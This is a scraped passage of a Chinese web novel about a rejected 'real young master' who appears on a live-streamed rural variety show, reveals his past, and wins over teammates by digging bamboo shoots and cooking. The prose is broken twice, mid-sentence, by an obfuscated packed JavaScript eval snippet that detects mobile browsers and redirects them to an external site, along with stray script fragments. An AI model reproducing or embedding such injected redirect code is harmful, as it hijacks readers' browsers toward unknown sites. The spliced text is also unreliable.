之所以会出现明夷被反派虐待的小剧情,归根到底,不就是为了增加主角的爽度吗? 与其做那些虐待小任务间接增加爽度,还不如让明夷演烂片,当对照组,直接增加主角爽度来得实在。 系统高兴了,连连夸谢云歇:【还是宿主的脑袋转得快!】 谢云歇谦虚道:“哪里哪里,本人只是稍稍有点恶毒罢了。” 这么一协商,明夷总算答应了去综艺当对照组。 系统一直悬着的心终于放下了,看到谢云歇依旧好吃好喝地供着明夷,也就睁一只眼闭一只眼了。 反正恶毒炮灰很快就要死了,只要他能老实走剧情,让他过几天好日子也无妨。 明夷好像喜欢上了打游戏,睡前总会跟谢云歇玩一会儿双人游戏,谢云歇是个很好的老师,不吝于把自己的经验分享给明夷。 时间很快流逝,到了明夷出发的前一晚。 明夷已经跟原来的公司解约,这几天里,明夷跟谢氏旗下的娱乐公司签约,通过新的经纪人跟《我们在路上》的节目组进行对接。 谢云歇给明夷配了两个助理,但这晚明夷没有让助理过来,而是自己收拾起了行李。 明夷来到谢家的时候,箱子里只装了很少的东西,新衣服都是谢云歇给他买的,明夷知道这次综艺是在山里,就挑了几件实用性高,比较耐磨的长衣长裤,连带一瓶驱蚊水,一起放进箱子里。 门开着,谢云歇溜达进来:“收拾东西呢?” 明夷眼皮都不抬:“谢总很闲吗?公司里没有事干?” 说起这个谢云歇就苦恼:“我之前不是干这行的,这几天可愁死我了。” 看样子谢云歇一时半会不会走了,明夷干脆直起腰,在床边坐下:“你之前是做什么的?” “生物制药,”谢云歇用很淡定的语气说:“市面上几乎85%的抑制剂品类,都是我的公司生产出来的。” 明夷有些惊讶:“那你岂不是……相当于掌控着Alpha和omega的命脉?” 谢云歇打了个响指:“怎么样,你谢老师是不是很有实力?” 明夷仰头看着谢云歇,眼中漾着暖色灯光的涟漪,点头:“是很有实力。” 看上去还挺乖,谢云歇的手指微痒,莫名有种上手戳一戳明夷的冲动。 可惜他跟明夷还不是非常熟,忽然用手戳太突兀了。 谢云歇一个没憋住,偷偷用外放的信息素戳了戳明夷的脸。 啊,舒服了。 戳到他喜欢的纸片人老婆了。 beta感知不到信息素,明夷果然没察觉到信息素的存在,休息了一会儿,就又开始收拾起他的行李。 按照剧情,这是明夷最后一次在正文登场,想到明天就要应对接下来的剧情,明夷就有些睡不着。 他跟燕安比了那么多次,几乎每一次,失败出丑的都是他。 尽管明夷不愿承认,但他的确对燕安生出了一种别样的恐惧。 燕安是一座他从未跨过的大山,明夷在大山身上跌落了太多次,摔痛了,也被摔怕了。 不安的情绪持续到第二天出门,令明夷意外的是,谢云歇竟然特意早起,专门起来送他。 “不用紧张,”谢云歇以一副过来人的姿态安抚他:“你就把它当成一场游戏就好,怎么舒服怎么来。” “你会心想事成的。”谢云歇拍拍明夷的肩膀,灰蓝色的深邃眼眸中带着鼓励的笑意。 这句话像是一道简短的魔咒,明夷的心奇异地平静了下来。 是啊,只是一场游戏而已。 彼时人为刀俎我为鱼肉,而如今,燕安不再是无解的bug存在。 有攻略,就可解。 7. 往事 《我们在路上》是一档以休闲为主的生活综艺,每期都会更换不同的地点。 这次节目组选择的场地在一个清幽僻静的山村里,要进村,首先要经历山路十八弯。 无人机从高空飞过,将苍绿的山景完全纳入镜头,以俯瞰的视角往下看,千回百转的山路如一条盘踞在山上的银带,而一列车队在银带上整齐开过,正是这次应邀而来的嘉宾。 视角回到车内,每位嘉宾的直播间都亮了起来,《我们在路上》的节目组这次采用了直播的方式,分镜头下,观众可以选择任意直播间观看。 直播间一亮,无数蹲守的观众立即冲了进来。 【芜湖第一!】 【来了来了!】 【嘶,这景色……所以这次是山村讨饭?】 《我们在路上》虽然是一档生活综艺,走的却不是慢热温馨风,节目组非常喜欢往任务里添加竞争元素,因此,节目里时常会出现常驻嘉宾为一颗萝卜打起来的名场面。 为了一口饭吃,嘉宾们经常会被弄得灰头土脸,贡献无数乐子,因此这个综艺也被观众们戏称为——《我们在讨饭》。 这次嘉宾们一看就是在往深山走,山中物资匮乏,嘉宾们想讨到饭,难度系数显然会大幅增加。 乐子人观众们已经提前开始期待了。 但这会儿,大部分的观众都先涌入了燕安的直播间。 【嗷嗷嗷飞行嘉宾真的是安安!】 【好耶!这期我决定少骂几句节目组,嘿嘿】 嘉宾们一人一车,燕安此时正坐在后座,一缕阳光打在他精致的面庞上,纯洁而明媚,白得整个人都像是在发光。 只是燕安的脸色有点不太好看。 【安安怎么了,是晕车了吗?】 旁边坐着的工作人员关切地问了一句,燕安笑容勉强道:“是有点晕,没关系,我已经提前吃过晕车药了。” 工作人员:“安安之前有对我们节目组有过什么了解吗?” “有哦,祝羽哥跟我提过,在这个节目里要放下身段,好好讨饭,”燕安眨眨眼,露出揶揄的笑:“我已经做好讨饭的准备了。” 祝羽是《我们在路上》的常驻嘉宾之一,圈里圈外的人都知道,祝羽跟燕安是很好的朋友,两人关系很好,私底下会联络也不奇怪。 弹幕里热热闹闹的。 【安安好接地气,爱了爱了!】 【笑死,好好讨饭,祝羽你都给安安灌输了什么奇怪印象啊!】 车程很长,为了确保可看性,工作人员又接着问了好几个问题,然后故作神秘地说:“说起来,这次我们还另外邀请了一位神秘嘉宾,安安可以猜猜是谁。” “神秘嘉宾吗?什么信息都不给,有点难猜啊……”燕安故作苦恼地托住下巴。 工作人员笑着提醒:“提示:神秘嘉宾跟你是同一个姓。” 燕安愣了一下,随即目光微动,多出几分惊讶之色:“一个姓……难道是……二哥吗?” 燕安还在猜测,其他早已通过直播间看到“神秘嘉宾”的观众已经炸了。 【我真服了,节目组怎么把那谁也请来了,故意的吗?】 【节目组为了话题度真是不择手段啊,真不怕那谁又在背后搞小动作,发生意外事故吗?】 【ymy到底什么时候滚出娱乐圈!他不是已经跟前公司解约了吗?怎么还能上这个综艺,他资源这么好的吗?】 【他可是皇族,大少爷能就这么滚了才怪。】 【一想到学人精又要到安安面前恶心他,我就要吐了,yue——】 节目组故意邀请名声不好的明夷,就是为了话题度,眼看观看直播的观众越来越多,他们怎么会放过这个极佳的机会。 工作人员很快承认了神秘嘉宾就是明夷,然后笑着问:“都说安安跟明夷的关系不是很好,传言是真的吗?” “当然不是,”燕安犹豫了一下,但还是坚定摇头:“我们是一家人,闹点小矛盾是正常的,二哥他……只是脾气有点不好,但人是很好的。” 【呜呜呜我们安安真是小天使啊,被学人精那样恶心过都不说学人精坏话……】 【不是我说,有些人真的不配有这么好的弟弟哈。】 【没礼貌,能力不足还硬要大众脸充胖子,还是个校园霸凌者,燕家这种家庭怎么会养出这种人,简直给燕家蒙羞!】 另一边的车上,明夷懒洋洋靠在座椅上,车窗半开,微凉的风拂过他的脸庞,带来沁人心脾的新鲜空气。 明夷大概知道此时的弹幕会骂些什么,但他的心情并不像以往那般沉郁。 骂就骂吧,又不会少块肉。 这次他就是来玩玩的。 彻底摆烂,彻底放飞。 因此,明夷的唇角甚至带着点轻松的笑意。 随车的工作人员惊讶于明夷的状态,忍不住问:“明夷,你的心情好像很好呢。” 明夷从心所欲道:“嗯,很久没有呼吸过新鲜空气了。” 工作人员好奇:“这里山路这么绕,你一点也不晕车吗?” 明夷淡淡道:“以前经常坐这种绕来绕去的车,习惯了。” “诶?怎么会?”工作人员更惊讶了,下意识感觉里面有料可挖,立即追问道:“可以展开说说吗?” 听到他们的对话,弹幕里不友好的声音瞬间增加。 【来了来了,学人精又给自己加戏了。】 【呵呵,ymy常规操作罢辽。】 【提取关键词——山路,车。大胆猜测,燕大少爷是去秋名山当车神了吧。】 【霸凌,飙车,好好好,对富家子弟的刻板印象增加了(燕安小天使除外)】 明夷不知道弹幕里此时在说些什么,听到工作人员的问题,他微微一怔,忽然有些出神。 被燕家找回去前,明夷生活在一个落后的农村里,养父养母待明夷不是很好,为了活下去,明夷吃了很多苦。 明夷一直觉得,那是一段非常不光彩的经历,所以轻易不肯对旁人提起,也不愿意让别人知道那些潦倒落魄的不堪往事。 他要比过燕安,像燕安一样光彩夺目,身上怎能有不光彩的污点? 燕家找回他的事,只有圈子里的人知道,并且,为了不让燕安被人说闲话,燕家并未对外公开燕安的假少爷身份,而是继续让燕安当燕家的三少爷。 所以,被找回来的明夷免不了沦为圈子里的谈资,不断跟燕安做比较。 明夷被找回来的时候,已经十四岁了,不管明夷怎样拼命学习,都已经追不上燕安的成就。 自然而然地,乡下来的乡巴佬很快被排除在社交圈之外。 正因遭到过类似“乡巴佬”的嘲笑,所以明夷耻于向他人提及自己的来处。 可现在……明夷想,这些都不要紧了。 他不要再遮遮掩掩,也不要再为了莫须有的颜面,绞尽脑汁地编出一百个借口。 曾经以为永远不可能说出来的秘密,就这么随意地被明夷吐露。 “因为我以前一直住在乡下,要去城里,就得坐一小时的大巴。” 明夷看向车窗外:“里面有半小时的路程,都是这种山路。” 此话一出,不仅工作人员愣住了,弹幕也全都是一片问号。 【???】 【少爷你说啥呢?你可是燕家二少爷,怎么会住乡下?!】 工作人员就像观众的嘴替,定了定神后,连忙继续追问了下去:“怎么会!我记得你跟安安的家都在首都吧?” 听到燕安的名字,明夷唇角的笑淡了几分:“哦,我们不是亲兄弟,我是在十四岁的时候,才被燕家找回去的。” 不是亲兄弟,十四岁才被燕家找回去?? 所有人都嗅到了大瓜的气息!! 明夷的直播间瞬间被闻讯赶来的观众们挤满了,观看量飞快飙升! 【他什么意思?不会是我想的那样吧……真假少爷文学?】 【假的吧!燕家根本没说过安安是假少爷啊。】 【别信,一定是ymy又开始演了!给燕安泼这种脏水,他真的是脸都不要了!】 【摩多摩多,就爱这种豪门大瓜,多说点,好吃,爱吃】 弹幕飞快闪过,工作人员也没想到自己随口一问,就能问出这种惊天大瓜,这时接到导演的指示传了过来,她于是接着问:“有传言说,你跟安安的关系不好……” “对,我们关系是不好,”明夷直言道:“我讨厌他。” “非常讨厌。” 看出工作人员的震惊,明夷不再伪装自己,放任胸中的郁气化作言语,彻彻底底地释放。 他脸上带着笑,眼中却没有丝毫笑意,他直白地问那个工作人员:“如果是你,你终于被亲生父母接回家,本以为可以苦尽甘来,父母却永远偏心那个占据你人生的小偷,对你毫不关心,你会喜欢那个小偷吗?” 工作人员张了张嘴,竟哑然失语。 观众也被明夷的直白震惊了。 明夷是疯了吧?这么敢说? 【不是吧,这真的假的?】 【如果真是这样,那他讨厌燕安,我好像有一点点可以理解了……换作是我,我估计杀人的心都有了。】 【那关安安什么事,他又不是故意要当这个少爷的,他也是无辜的啊!】 【好狗血一出大戏,究竟是不是编的啊!急急急!有人扒一扒真假吗?】 不久后,#真假少爷#这个词条就冲上了热搜,不明真相的吃瓜群众点进去一看,全都被狗血泼了一脸。 这瓜!刺激啊! 无数新观众涌入明夷的直播间,明夷的直播间很快数据断层。 工作人员像是受到太大的冲击,接下来没有继续提问。 明夷却感觉胸口一阵轻松,前所未有的轻快。 他已经太久没有感受到这种滋味了。 不用压抑自己,不用把自己伪装成另一种人,不用为了讨好其他人,咬牙吞下所有委屈与不甘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090639|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现在他可以想说什么说什么,畅所欲言。 毕竟他的生命只剩下一个月,一个月后,他的嘴就再也说不出话了,趁现在能说,当然要说个够! 就是这个畅所欲言爽! 明夷往直播间丢下一个重磅炸弹,就自顾自开始欣赏起车窗外的风景。 想让自己舒服,果然还是得发疯啊。 - 看着直线上升的数据,陈导的嘴快要笑裂了。 邀请明夷加入节目组,果然是正确的决定! 看看,看看,节目才刚开始,就爆出这么大一个瓜,这期收视率绝对稳了! 陈导已经开始期待,接下来明夷跟燕安碰面后的场面了。 大约半小时的车程后,嘉宾们终于抵达目的地——雾清村。 这座山林中的村庄,实则是一个比较小众的旅游景点,以仙境般的山村雾景为卖点,没有太重的开发痕迹,仍保留着古朴的青石板和很有味道的老建筑。 嘉宾们逐一下车,在村口集合。 山路曲折,坐车的时间又长,大部分的嘉宾都有些晕车,下车后纷纷吐槽节目组,给足了节目效果。 《我们在路上》的常驻嘉宾有四人,常被综艺粉戏称为“老弱病残”组合。 老:老牌大满贯影帝季展云。 弱:当红歌手祝羽,因为曾两次被烈日晒晕,得此称号。 病:女团出身的沈盼,疑似拥有强迫症。 残:当红小生纪年,手残党,做出的菜永远是黑暗料理。 看到从车上下来的燕安,四个常驻嘉宾配合地发出惊喜欢呼,跟燕安熟识的祝羽更是热情地打了个招呼。 等明夷出现,气氛一下子就有点僵住了。 圈里人都知道明夷跟燕安关系不好,两人同时出现,不尴尬是不可能的。 明夷没在意周围的视线,规规矩矩地打了个招呼,便走到自己的位置上。 不知道是不是节目组搞事,燕安恰好站在明夷的旁边。 “二哥,真巧,你也来这个综艺了,”燕安主动找话题,像是不介意之前发生的所有不快,对明夷友善地笑。 明夷盯着燕安明媚的脸庞,压下心中忽然升起的恶意,淡淡道:“不巧,是节目组故意把我叫来的。” 燕安没想到明夷会这么直白,他没适应明夷现在的风格,一时愣住。 以前至少在镜头前,明夷还会对他勉强装出点好脸色,可这次,明夷怎么不按常理出牌? 燕安呐呐着不知道该接什么话,祝羽看到了,以为明夷又在欺负燕安,皱了皱眉,直接跟燕安交换了位置,防备明夷的意思非常明显。 【哦哟,这就护上了,妈妈,我的驻颜CP是真的!】 【我服了,人家安安好好跟他说话,他这么冲干什么啊!】 【拜托,ymy刚刚都说他很讨厌燕安了,谁会对占据自己人生的小偷有好脸色啊……】 【说了一百遍,安安又不是故意的,是安安把ymy送到农村的吗?这件事安安也是受害者!】 节目组乐于看到观众吵架,毕竟吵得越热闹,热度就越高。 真假少爷向来是很热门的议题,恐怕直到节目结束,热度都不会下去。 祝羽换位置的动作太过明显,其他嘉宾忍不住多看了几眼。 季展云老神在在,没有发言。 沈盼欲言又止,因为她强迫症有些发作了,看到队伍没有按照高度排列,心里就难受。 纪年则悄悄撇了一下嘴。 纪年不太喜欢燕安,不仅是因为看中的角色曾被燕安空降抢走,还有一个原因,就是他觉得燕安这人太过完美了。 完美得有点假。 还有祝羽,人家燕明夷也没干什么,只是说一句话,他就护上燕安了。 好装。 小小的风波转瞬即逝,按照惯例,节目组很快开始走第一个流程。 “又要分组?”纪年皱着眉头,警惕道:“不会又要我们分组竞争吧!” 陈导笑呵呵道:“嘉宾们自由组队,三人一组,温馨提示:队友的动手做饭能力直接影响到接下来的生活水平哦~” “啊?”纪年不由绝望哀嚎道:“这让我这个手残党怎么活啊!” 祝羽一听,立即拉住燕安:“安安,你跟我一组,我做饭好吃。” 燕安笑着点头,目光落在明夷身上,露出点担忧之色:“二哥,你不会做饭吧,要不要跟我们一组?” 明夷当然是坚定拒绝:“不用,我会做。” 季展云听了,不由揶揄道:“年轻人不要托大,这里用的不是燃气灶,要用木头烧的,你会烧灶?” “会,小时候经常烧。” 没有人比明夷更懂怎么用土灶做饭了。 其他人听了,当然都不信,谁不知道明夷是燕家二少,十指不沾阳春水,燕家怎么可能让他做这个? 唯有燕安目光一滞。 明夷……怎么直接把以前的事说出来了? 8. 小试厨艺 眼看其他人对此很感兴趣,有追问下去的意思,燕安不经意开口,将话题拉了回来。 “那二哥想跟谁一组呢?” 明夷没有立即接话,他的目光在其他嘉宾身上扫过,不太抱有期待。 最开始,明夷是为了追逐燕安的脚步,证明自己会比燕安走得更高,才加入的娱乐圈。 明夷跟燕安签的是同一家公司,然而在明夷和燕安之间,这家公司选择了捧燕安,明夷只能捡燕安不要的资源。 燕安的粉丝骂明夷是学人精,就是因为明夷一直在试图模仿燕安,人设、戏路,乃至表演方式。 最终出来的效果,就是生搬硬套的四不像。 可很少有人知道,明夷在公司里能接到的,只有这种原本是为燕安定下的资源。 明夷试着跟家里提过,想尝试别的风格,可得到的只有训斥。 “这些资源还不够好吗?一般的新人都接触不到,现在给了你,你还有什么不满足的?” “别闹了好吗?那个代言是安安特意让给你的,你不要浪费他的心意。” “你怎么这么不懂事,你说要演戏,家里也让你去演了,还给你砸了那么多资源,你还有哪里不满意的?” 可是,没人问过,他究竟想要什么啊…… 明夷不想让家人失望,也无法再承受家人失望的眼神,因此,他没有再跟家人提过这件事。 他无助而茫然地走上了那条没有退路的路,担着骂名,沉重痛苦地走到了现在,直到一无所有。 此刻。 看着不熟悉的嘉宾,明夷恍惚间想起,长袖善舞的是燕安,不是他。 明夷在圈内没有人脉,所以,在这档综艺里,明夷除了燕安,其实根本没有其他熟识的人。 没有人会向一个声名败坏的人伸出友善的手,对此,明夷非常确信。 但,总有例外。 明夷沉默的时间有点久,气氛逐渐变得有些微妙,纪年的目光在明夷和燕安之间来回转了转,忽然一笑,抱臂走到明夷身边,慢悠悠道:“那我这个手残党就不拖累祝大厨喽,正好让我品品新大厨的手艺,对吧,燕大厨,你不会让我失望的吧?” 明夷目光微动,虽然他说的话跟原文有些不同,但纪年还是做出了跟原文里同样的选择。 明夷看过原文剧情,很清楚为什么纪年会这么做。 原因很简单——因为纪年跟他一样,也是个看不惯主角的小炮灰。 所以原文里,纪年才会选择跟明夷组队。 [敌人的敌人就是朋友,想打倒BOSS,最好去拉拢身边所有可以动用的‘朋友’,关键时刻可以产生奇效……] 谢云歇打游戏时说过的话闪过脑海,明夷收拢思绪,也对纪年微微一笑:“那你选对人了,包好吃做不到,但至少能保证饿不死。” “口气挺狂啊,你是不知道节目组有多坑,也就新人敢这么打包票了……”纪年喟叹一声,没有当真,礼貌地恭维一句:“那行,我以后就跟着燕大厨混了。” 剩下还有两位嘉宾,一个是沈盼,一个是季展云。 季展云看看祝羽和燕安,再看看明夷和纪年,欲言又止地正要开口,没想到沈盼先一步站到明夷身边,抢声道:“我也要尝尝新大厨的手艺!” 季展云就笑笑,没有跟沈盼抢:“这样挺好,每组刚好都有一个会做饭的,不用担心吃不上饭了。” 燕安活泼地问:“在这个节目里吃饭真的有这么难吗?” 季展云叹了口气:“你很快就知道了。” 平和友好的组队环节结束,节目组立即暴露真实面目。 “什么!让我们上山挖笋!?” 节目组:“没错,并且笋的总重量越高,分配到小组的初始资源越好。” 于是每个嘉宾手上都多了一把锄头,一个篮子,叫苦不迭地往山中走去。 嘉宾们一路颠簸过来,刚到地方就要去爬山挖笋,明夷终于有点明白,为什么纪年等人一直在吐槽节目组。 节目组是真的不做人啊。 挖笋对明夷来说倒不是什么难事,明夷以前干农活的底子还在,身上被打出来的伤也好得差不多了,支撑得起这种强度的劳动。 带队的是当地的村民,村民走在前面,热情地为嘉宾们介绍着有关雾清山的美景及传说,嘉宾们刚开始还兴致勃勃,直到脚下的路越走越泥泞,这才意识到不妙。 昨日雾清山刚下过一场雨,山路泥泞不堪,一不留神就容易打滑,尽管嘉宾们走得小心翼翼,但效果依旧不佳,等他们将鞋子从湿润的黄泥里拔出来,原本干净的鞋子已经完全没法看了。 哀嚎声顿时遍布山林。 这么一对比,明夷无疑是嘉宾中的一个异类,他很熟悉山路,走得平稳,对沾满泥土的鞋反应平淡,也不会像其他嘉宾一样,夸张地表现自己的情绪。 他只是默默跟在自己队友的身边,如幽灵般存在感低微。 【呃……ymy情绪稳定得像个人机,这是能说的吗?】 【ymy以前的人设不是小太阳吗?这次连演都不演了,直接暴露本性了吗?】 【只有我觉得ymy底盘很稳吗,走山路半点不带滑的,还能顺手扶沈盼一把。】 【呵,又在演小可怜人设了吗?一群嘉宾里就他不说话,死装。】 【大家都安静看安安吧,别为了某个学人精伤了和气。】 村民只负责带队上山,并不负责教导嘉宾挖笋方法,他只向众人描述了哪种笋符合要求,便悄然神隐。 嘉宾们只能自己在山里摸索。 两队是竞争关系,自然不好在一个地方挖笋,于是挖着挖着,便逐渐分开了。 纪年一脚深一脚浅地将鞋从黄泥地里拔出来,杵着锄头四处张望,纳闷道:“是我眼神不好吗,怎么一颗笋都没看到?” 正值春季,他们要挖的也是春笋,冒出尖尖,肉眼可见的春笋倒是能看到,但长度显然已经超过了节目组制定的标准。 很显然,节目组就是想给嘉宾上难度,让嘉宾们满山遍野地找笋挖。 沈盼盯着裤子上的泥点,神情隐约有些崩溃:“毁了,我最喜欢的裤子,彻底毁了!” 两个队友一个不给力,一个无心挖笋,重担便落在明夷身上。 明夷眼神好,也有经验,没一会儿就挖出不少春笋,装了小半篮,手脚麻利的样子把纪年和沈盼都看呆了。 他们的篮子基本上还是空的,队友太卷,他们脸上也有点过不去,便厚着脸皮询问明夷的挖笋秘诀。 明夷便领着他们去找笋,边走边说:“竹叶茂盛、颜色深绿的竹子下面更容易找到笋,看到这些小坡了吗,地面微微隆起,或者有裂缝的地方,很可能也藏着笋……”说着,明夷几锄头下去,泥土下果真冒出了一点笋尖。 纪年和沈盼都发出了没见识的惊叹声。 纪年自告奋勇地表示,他也想试试挖笋的感觉,明夷就让出了位置,让纪年来挖。 “要轻一点挖,否则就会——” “哈哈!看我的!”纪年没轻没重地一锄头下去,把笋挖断了。 纪年转过头,有点心虚地看明夷,明夷情绪依旧稳定:“没事,多挖几颗就熟练了。” 很快明夷又找到一株笋,这次沈盼也摩拳擦掌地表示想挖,明夷担心沈盼也把笋挖断,亲自演示了一遍。 “嗯嗯!我学会啦!”沈盼答应得很自信,实则一锄头下去,又挖断一颗笋。 明夷:“……” 被两个人用小狗般无辜的目光注视着,明夷还能说什么,只好一边挖笋,一边认真地继续进行教学。 【笑死,挖笋大佬带两个熊孩子出门玩的即视感。】 【ymy这次居然没骗人,他挖笋的样子真的挺熟练的。】 【我也想说,emmm……难道真假少爷的事是真的?】 明夷这边学习氛围浓重,燕安那边却是粉红泡泡直冒。 燕安不擅长在湿滑的山路上行走,摔了好几次,祝羽心疼得不行,硬是要卷起燕安的裤腿看他有没有摔伤。 于是这会儿,燕安坐在一块山石上,祝羽蹲在他面前,正小心地卷起他沾满泥点的裤腿,而季展云拄着锄头站在一旁等待,妥妥变成了背景板。 弹幕飘过一片“磕到了”。 【啊啊啊啊zy好温柔,说这是偶像片剧情我都信,我们驻颜CP是真的!】 【季影帝:有人为我发声吗?】 【CP粉能不能收收味,这是生活综,不是恋综,有人能关注关注任务本身吗?隔壁ymy都挖了三篮笋,遥遥领先这组了。】 【+1,zy一遇到燕安就跟长了恋爱脑似的,莫名不爽。】 【楼上有病啊!没看到安安摔伤了吗,真的一点同情心都没有。】 燕安也有点过意不去,红着脸对祝羽和季展云说:“你们不用管我,先去挖笋吧,不能因为我拖慢进度。” 祝羽当然不可能答应:“那不行!怎么能把你一个人丢在这里,山上还不知道有什么呢!” 燕安跟祝羽来回拉扯了几次,季展云听不下去,主动说:“小祝,你留下陪着小安吧,我去转转,说不定能挖到几颗。” 这确实是目前最好的方案了,祝羽应下。 - 一个半小时后,时间到了,嘉宾们带着这趟在山上的收获,纷纷下山汇合。 通过直播间,观众们能看到,明夷抛却了以往□□的精致形象,很自然地将锄头扛在肩上,篮子勾在末尾,脚步稳稳地下了斜坡,再接住沈盼伸来的手,将她也扶了下来。 纪年在坡上干着急:“那我呢?燕老师,你也来扶扶我啊!” 沈盼在坡下看热闹不嫌事大:“纪哥,相信自己,你可以的!” 明夷跟这两人不熟,做不到如此自然地调侃纪年,他一心想着维持礼貌友好的社交距离,便好心地也把纪年扶了下来。 “谢谢啊燕老师,你真是个好人,跟某个魔鬼完全不一样。”纪年擦了把脸上的泥,连声道谢。 沈盼则对明夷恨铁不成钢道:“你就宠他吧!越宠他,这位纪大少爷就越废!” “你说谁废呢!” 纪年追着沈盼,要把泥抹在沈盼脸上,沈盼边挑衅边躲,两人把明夷当成障碍物,绕着他充满活力地来回跑。 跟他们一对比,明夷简直就像疲惫了一整天,刚刚下班回到家的中年人,精力旺盛的熊孩子围着他吵闹,他却木着脸毫无波澜。 【哈哈哈哈要死啊,怎么能这么好笑!】 【奇了怪了,怎么突然觉得,ymy现在一脸死感的样子比之前顺眼多了?】 【ymy内心OS:谁能把这两个熊孩子拖走?】 三人组一路热热闹闹地回到了山下,终于跟另一组汇合。 毫无悬念,明夷组拿下了第一次比赛的胜利。 燕安目光多了几分愧疚:“对不起,都是我拖了后退。” 祝羽急忙安慰他:“又不是你自己想摔倒的,怎么能怪你呢?” 季展云也说:“小祝说的对,一场游戏而已,别多想。” 胜负已分,节目组分别给了两组不同的地址,并告知他们,两间房子里的初始资源不同,嘉宾们想吃上饭,只能利用这些资源,自己想办法。 推着行李箱前往房子的路上,纪年一直在念叨:“完了完了,这次开局不会又只有一口锅吧?” 山上一起挖笋的经历令三人熟悉了一点,明夷不再像刚开始那样拘谨,开口问道:“以前还有开局一口锅的情况?” 沈盼冷笑:“呵呵,没错,开局一口锅,米菜全靠讨,燕老师,你记住,这就是《我们在讨饭》这个综艺的精髓。” 明夷想了想,从容道:“除了笋,我刚刚在山上还看到不少野菜,如果实在没东西吃,可以继续上山挖。” 纪年眼前一亮:“对哦,我们可以挖笋吃啊!” 想通这一点,纪年就不慌了,感觉又充满了盼头。 另一边,季展云单手扶着腰,脸色有点发白,燕安注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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米饭煮上后,明夷便开始备菜,先是把白萝卜切了大半出来,削皮切丝,然后准备剥蒜。 剥蒜前,明夷忽然想到什么,转头询问眼巴巴看着他的两个人:“你们想吃清炒油菜还是蒜蓉油菜?” “这……还能点菜吗?”纪年吞咽了一下口水:“燕大厨,您看着做就行,不用问我们的意见。” 沈盼附和点头。 明夷就随心所欲了。 估摸着时间差不多了,明夷开始烧另一个灶,油热后下白萝卜丝,炒软后盛出备用,再往碗里打入三个鸡蛋,搅散后下锅煎至定型,再捞出来切成丝。 纪年好奇探头:“这是在做什么?” “白萝卜蛋丝汤。”明夷将白萝卜丝和蛋丝都放下锅,加水加调料,盖锅盖煮两分钟,水蒸汽很快冒了出来,连带着食物的香味也铺满了整个厨房,烟火味满满的味道瞬间勾出了馋意。 纪年快被香晕了,厨神一出手,就知有没有,这一刻,纪年终于确定,这次,他是真的不用继续在节目里讨饭了。 除了白萝卜蛋丝汤,明夷还做了道清炒油菜,凑合凑合,把这顿午饭对付过去。 明夷水量把控得好,米饭虽然没有提前浸过,但也依旧蒸得松软,第一口下去就是浓郁的米香,纪年迫不及待地喝了一口白萝卜蛋丝汤,被鲜得险些落泪。 “我真的……彻底被征服了。”纪年含泪朝明夷比了个大拇指:“以后,燕大厨你就是我亲弟弟,我不允许任何人违逆你!” “有这么神吗?”沈盼不信,也尝了一口,然后…… 沈盼不语,只一味地朝明夷比大拇指。 明夷眉眼依旧淡然,在两人不留余力的赞美中,从容不迫地夹了一筷子油菜:“你们太夸张了,这些只是基本操作罢了。” “家里有咸肉,等下午挖了笋,我还可以再做一道腌笃鲜。” 纪年和沈盼:“!!!” 完了,他们这次是真抱上大腿了。 沈盼激动拍桌:“大厨还有什么吩咐吗?请尽情地吩咐我们吧~” 明夷想了想:“柴火快没了,挖笋的时候得顺便捡点回来。” “嗯嗯,还有呢?” 明夷:“这些菜应该不够支撑我们到这期结束,以前你们遇到这种情况,一般会怎么做?” 纪年和沈盼对视一眼。 “向其他组讨饭?” “向周边路人讨饭?” “……”明夷无语道:“除了讨饭呢?节目组有没有设置赚钱的环节。” “哦哦,这个当然有,”对于节目组的套路,纪年已经深谙于心:“这次应该也有让嘉宾想办法赚钱的环节吧。” “那我们就多挖点笋吧,”明夷提出建议:“不仅可以自己吃,如果真有这个环节,还可以拿出去卖。” 纪年和沈盼当然双手双脚赞成。 吃完饭,两个没有参与做饭环节的队友抢着洗了碗,接下来节目组暂时没有其他安排,三人组便去收拾了一下各自的行李。 院子里总共有两间屋子,一间是单人房,一间是双人房,很好分配,单人房给了沈盼,纪年和明夷住双人房。 下午还要去山上,因此三人暂时没有洗澡换衣服,简单擦洗了一下便作罢了。 对于熟悉且抱有好感的人,纪年是个话痨,眼下他跟明夷在同一间屋里,便忍不住打开了话匣子。 “咳,刚刚就想问了,你做饭怎么如此熟练?” 明夷坐在椅子上稍作休息,闻言微微偏头:“我说过了,小时候经常烧。” “这原来是真的啊?”纪年惊讶:“那就是说,你小时候,家里经常没人给你做饭吗?” 明夷沉默了一会儿,才缓缓道:“不是没人。” “是经常要给家里人做饭。” 万万没想到会得到这样的回答,纪年目瞪口呆:“啊??” 纪年脱口而出:“让小孩子做饭,是人吗?!” 弹幕里也是一片问号。 明夷在说什么?怎么所有字连起来,他们就听不懂了呢? 9.回头是岸 回忆起以前的事时,明夷已经可以很平静。 明夷的养父母是农村人,明夷的上面,还有一个姐姐,一个哥哥。 因为养父母已经有了一个儿子,对第二个儿子就不那么欢迎了。 那时家里没有钱,偏偏又多了一张吃饭的嘴,养父母曾一度想把他送给别人养,后来听到算命的说他命中有大富大贵之象,这才将他留下。 “明夷”这个名字,也是算命的给他取的,地火明夷,是易经六十四卦第36卦,晦而转明,凤凰垂翼之象。 家里最受宠爱的,是明夷的二哥,就连农村农忙时,养父母宁愿让大女儿下地,都不舍得让二儿子下地。 明夷太小,帮不上农活的忙,就被留在家里做饭,在家里人干完农活回来前,明夷必须得做好饭,否则会挨骂挨打。 刚开始,明夷连灶台都够不到,只能踩着小凳子做饭,后来随着明夷越长越高,明夷就不需要小凳子了。 